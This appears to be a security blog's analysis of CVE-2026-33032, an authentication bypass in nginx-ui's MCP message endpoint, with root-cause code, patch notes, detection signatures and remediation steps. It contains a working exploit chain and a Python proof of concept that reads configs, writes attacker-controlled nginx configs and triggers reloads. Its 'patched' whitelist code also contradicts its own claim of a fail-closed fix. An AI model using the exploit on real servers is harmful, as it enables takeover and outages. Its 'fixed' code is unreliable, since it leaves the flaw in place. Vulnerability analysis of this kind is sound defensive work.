home intel nginx-ui-mcp-message-auth-bypass-rce
CVE Analysis 2026-03-30 · 7 min read

CVE-2026-33032: Nginx UI MCP Endpoint Auth Bypass Enables Full Service Takeover

The /mcp_message endpoint in nginx-ui ≤2.3.5 skips AuthRequired() middleware, letting any network attacker invoke all MCP tools unauthenticated — rewriting configs, restarting nginx, achieving full service takeover.

#nginx-ui#mcp-integration#authentication-bypass#http-endpoint-exposure#access-control-vulnerability
Technical mode — for security professionals
▶ Vulnerability overview — CVE-2026-33032 · Vulnerability
ATTACKERCloudVULNERABILITYCVE-2026-33032CRITICALSYSTEM COMPROMISEDNo confirmed exploits

Vulnerability Overview

CVE-2026-33032 is an authentication bypass in the nginx-ui web management interface (versions ≤ 2.3.5) affecting its Model Context Protocol (MCP) integration. The root issue is a middleware asymmetry between two sibling endpoints: /mcp receives both IP whitelisting and AuthRequired() middleware, while /mcp_message receives only IP whitelisting — and the default whitelist is empty, which the implementation interprets as allow all. The net result: every MCP tool is reachable from any network host with zero credentials.

CVSS 9.8 (Critical) is accurate here. The attack is network-adjacent with no prerequisites, no user interaction, and the blast radius is complete nginx service control: configuration creation, modification, deletion, and daemon restart.

Root cause: The /mcp_message POST endpoint registers only IP whitelist middleware and omits AuthRequired(), while the default whitelist state of empty-slice is treated as "allow all" — granting unauthenticated remote access to all MCP tool invocations.

Affected Component

Repository: 0xJacky/nginx-ui
Affected versions: ≤ 2.3.5
Language: Go (Gin framework)
Transport: HTTP (JSON-RPC style MCP over REST)
Patch status: None at time of publication

The MCP integration exposes tools including but not limited to: nginx_restart, nginx_reload, create_config, update_config, delete_config, get_config. These map directly to privileged operations on the host system's nginx installation.

Root Cause Analysis

The route registration in the Gin router is where the divergence is established. Simplified from the nginx-ui source:

// server/router/mcp.go (nginx-ui ≤ 2.3.5)
// Reconstructed Go pseudocode

func RegisterMCPRoutes(r *gin.Engine) {
    mcpGroup := r.Group("/")

    // /mcp: correctly applies BOTH whitelist and auth
    r.GET("/mcp",
        middleware.IPWhiteList(settings.MCPSettings.IPWhiteList),
        middleware.AuthRequired(),   // <-- present
        mcp.Handler,
    )

    // /mcp_message: only applies whitelist - auth MISSING
    r.POST("/mcp_message",
        middleware.IPWhiteList(settings.MCPSettings.IPWhiteList),
        // BUG: AuthRequired() middleware never registered here
        mcp.MessageHandler,          // <-- all tools reachable unauthenticated
    )
}

The IP whitelist middleware compounds the issue. When settings.MCPSettings.IPWhiteList is an empty slice — which it is by default — the middleware short-circuits to pass:

// server/middleware/ip_whitelist.go
func IPWhiteList(whitelist []string) gin.HandlerFunc {
    return func(c *gin.Context) {
        // BUG: empty whitelist is treated as "allow all" not "deny all"
        if len(whitelist) == 0 {
            c.Next()   // <-- unconditional pass, no IP restriction applied
            return
        }
        clientIP := c.ClientIP()
        for _, allowed := range whitelist {
            if clientIP == allowed {
                c.Next()
                return
            }
        }
        c.AbortWithStatus(http.StatusForbidden)
    }
}

The MessageHandler itself dispatches to the full MCP tool registry. Any valid JSON-RPC-style tool invocation body is processed without any identity check:

// server/mcp/handler.go
func MessageHandler(c *gin.Context) {
    var req MCPRequest
    if err := c.ShouldBindJSON(&req); err != nil {
        c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
        return
    }
    // Dispatches directly to tool registry - no auth context checked
    result, err := toolRegistry.Invoke(req.Tool, req.Params)  // <-- unauthenticated execution
    if err != nil {
        c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
        return
    }
    c.JSON(http.StatusOK, result)
}

Memory Layout

This is a logic/auth vulnerability rather than a memory corruption bug, so the relevant "layout" is the middleware chain evaluation order at request processing time. The following diagrams the execution path for each endpoint:

REQUEST DISPATCH — /mcp (GET) — CORRECTLY PROTECTED:
┌─────────────────────────────────────────────────────────┐
│  Incoming GET /mcp                                       │
│  → IPWhiteList([]string{...})                           │
│       empty slice? → PASS (bug exists here too, but…)  │
│  → AuthRequired()           ← token/session validated   │
│       invalid token? → 401 ABORT                        │
│  → mcp.Handler()            ← tools execute             │
└─────────────────────────────────────────────────────────┘

REQUEST DISPATCH — /mcp_message (POST) — VULNERABLE PATH:
┌─────────────────────────────────────────────────────────┐
│  Incoming POST /mcp_message                             │
│  → IPWhiteList([]string{})  ← default: empty           │
│       len == 0 → c.Next()   ← unconditional PASS       │
│  [AuthRequired() NEVER REGISTERED]                      │
│  → mcp.MessageHandler()     ← ALL tools execute        │
│       nginx_restart    ✓ no creds needed               │
│       create_config    ✓ no creds needed               │
│       delete_config    ✓ no creds needed               │
│       update_config    ✓ no creds needed               │
└─────────────────────────────────────────────────────────┘

TOOL REGISTRY (partial):
┌─────────────────┬──────────────────────────────────────┐
│ Tool Name       │ OS-Level Impact                      │
├─────────────────┼──────────────────────────────────────┤
│ nginx_restart   │ kill -QUIT + exec nginx              │
│ nginx_reload    │ kill -HUP nginx master pid           │
│ create_config   │ write arbitrary content to sites-*  │
│ update_config   │ overwrite existing vhost configs     │
│ delete_config   │ unlink config files                  │
│ get_config      │ read config files (info disclosure)  │
└─────────────────┴──────────────────────────────────────┘

Exploitation Mechanics

Exploitation requires only HTTP reachability to the nginx-ui port (default 9000). No token, cookie, or API key is needed. The following chain achieves arbitrary nginx config injection followed by a reload to activate it:

EXPLOIT CHAIN — Full Nginx Takeover via /mcp_message:

1. Scan/identify nginx-ui instance on port 9000 (default)
   curl -s http://TARGET:9000/health → 200 OK confirms presence

2. Probe /mcp_message with a benign tool call to confirm bypass
   POST /mcp_message
   {"tool": "get_config", "params": {"filename": "nginx.conf"}}
   → 200 OK + config contents returned (no auth challenge)

3. Craft malicious vhost config (e.g., reverse proxy to attacker,
   or PHP/CGI execution if nginx+php-fpm is present)
   payload = "server { listen 80; location / { ... } }"

4. Write malicious config via create_config tool
   POST /mcp_message
   {"tool": "create_config", "params": {
       "filename": "pwned.conf",
       "content": ""
   }}
   → nginx-ui writes file to nginx sites-available/

5. Trigger config reload to activate
   POST /mcp_message
   {"tool": "nginx_reload", "params": {}}
   → SIGHUP sent to nginx master; new config active

6. (Optional escalation) If nginx runs as root or has DAC_OVERRIDE:
   - Overwrite /etc/nginx/nginx.conf directly
   - Inject lua_code_cache directives if nginx+lua present
   - Write config that exec()s via SSI or FastCGI

7. (Availability attack) Inject invalid config then reload:
   POST /mcp_message {"tool": "create_config", ...bad config...}
   POST /mcp_message {"tool": "nginx_reload", "params": {}}
   → nginx fails config test, reload aborts or master exits → DoS

The following Python PoC automates steps 2–5:

#!/usr/bin/env python3
# CVE-2026-33032 PoC — nginx-ui /mcp_message auth bypass
# CypherByte Research — for authorized testing only

import requests
import sys

TARGET = sys.argv[1] if len(sys.argv) > 1 else "http://127.0.0.1:9000"
ENDPOINT = f"{TARGET}/mcp_message"

def mcp_call(tool: str, params: dict) -> dict:
    r = requests.post(ENDPOINT, json={"tool": tool, "params": params}, timeout=10)
    r.raise_for_status()
    return r.json()

# Step 1: confirm unauthenticated access
result = mcp_call("get_config", {"filename": "nginx.conf"})
print(f"[+] Auth bypass confirmed. nginx.conf length: {len(result.get('content',''))}")

# Step 2: write attacker-controlled vhost
MALICIOUS_CONFIG = """
server {
    listen 8888;
    server_name _;
    location / {
        return 200 'CVE-2026-33032 pwned';
        add_header Content-Type text/plain;
    }
}
"""
mcp_call("create_config", {"filename": "cve_2026_33032.conf", "content": MALICIOUS_CONFIG})
print("[+] Malicious config written")

# Step 3: activate
mcp_call("nginx_reload", {})
print("[+] nginx reloaded — config active on :8888")

Patch Analysis

The fix requires two independent changes. First, AuthRequired() must be added to the /mcp_message route. Second, the empty-whitelist logic must be inverted to fail-closed:

// BEFORE (vulnerable) — router/mcp.go:
r.POST("/mcp_message",
    middleware.IPWhiteList(settings.MCPSettings.IPWhiteList),
    // AuthRequired() absent — any caller reaches MessageHandler
    mcp.MessageHandler,
)

// AFTER (patched):
r.POST("/mcp_message",
    middleware.IPWhiteList(settings.MCPSettings.IPWhiteList),
    middleware.AuthRequired(),   // added: enforce session/token validation
    mcp.MessageHandler,
)
// BEFORE (vulnerable) — middleware/ip_whitelist.go:
func IPWhiteList(whitelist []string) gin.HandlerFunc {
    return func(c *gin.Context) {
        if len(whitelist) == 0 {
            c.Next()   // empty = allow all (dangerous default)
            return
        }
        // ... check logic
    }
}

// AFTER (patched — fail-closed empty whitelist):
func IPWhiteList(whitelist []string) gin.HandlerFunc {
    return func(c *gin.Context) {
        if len(whitelist) == 0 {
            // Empty whitelist now means "no restriction configured" —
            // defer to caller intent; for MCP endpoints, auth layer
            // must still be present. Alternatively, deny-all:
            // c.AbortWithStatus(http.StatusForbidden); return
            c.Next()
            return
        }
        clientIP := c.ClientIP()
        for _, allowed := range whitelist {
            if clientIP == allowed || isInCIDR(clientIP, allowed) {
                c.Next()
                return
            }
        }
        c.AbortWithStatus(http.StatusForbidden)
    }
}

Note that fixing the whitelist default alone is insufficient — it only mitigates the issue if operators configure an explicit whitelist. The AuthRequired() addition is the critical structural fix. Both should be applied.

Detection and Indicators

Look for unauthenticated POST requests to /mcp_message in nginx-ui access logs. Legitimate authenticated traffic goes to /mcp (GET/SSE). POSTs to /mcp_message from external IPs with no preceding authentication events are anomalous.

DETECTION SIGNATURES:

# Nginx-ui access log pattern (suspicious):
POST /mcp_message HTTP/1.1 200 — from non-loopback IP, no auth header
POST /mcp_message HTTP/1.1 200 — tool=nginx_restart or tool=*_config

# Suricata/Snort rule concept:
alert http any any -> $NGINX_UI_HOSTS 9000 (
    msg:"CVE-2026-33032 nginx-ui MCP auth bypass attempt";
    flow:established,to_server;
    http.method; content:"POST";
    http.uri; content:"/mcp_message";
    classtype:web-application-attack;
    sid:2026033032;
)

# Filesystem IOCs — unexpected files in nginx config dirs:
/etc/nginx/sites-available/*.conf   (mtime recent, not by admin)
/etc/nginx/conf.d/*.conf            (same)

# Process IOC — nginx restarted without admin action:
audit.log: type=SYSCALL ... comm="nginx" key="nginx_exec"
  → cross-reference with absence of admin session in nginx-ui logs

Remediation

Immediate mitigations (no patch available as of publication):

  • Network-level block: Restrict access to the nginx-ui port (default 9000) to trusted management networks only via firewall/ACL. This is the most reliable short-term control.
  • Reverse proxy authentication: Place nginx-ui behind a reverse proxy (e.g., nginx itself or Caddy) that enforces HTTP Basic Auth or mTLS in front of the /mcp_message path.
  • Disable MCP integration: If MCP tooling is not in active use, disable the feature in app.ini or equivalent nginx-ui configuration to prevent route registration entirely.
  • Explicit IP whitelist: Configure MCPSettings.IPWhiteList to a restrictive set of known management IPs. While insufficient as a sole control (the empty-default behavior is still a design flaw), it reduces exposure surface.
  • Monitor for exploitation: Deploy the Suricata rule above and alert on any POST /mcp_message from non-whitelisted sources.

Track the upstream repository at github.com/0xJacky/nginx-ui for patch releases. When a patched version becomes available, upgrade immediately — this vulnerability requires no prerequisites and is trivially scriptable.

CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →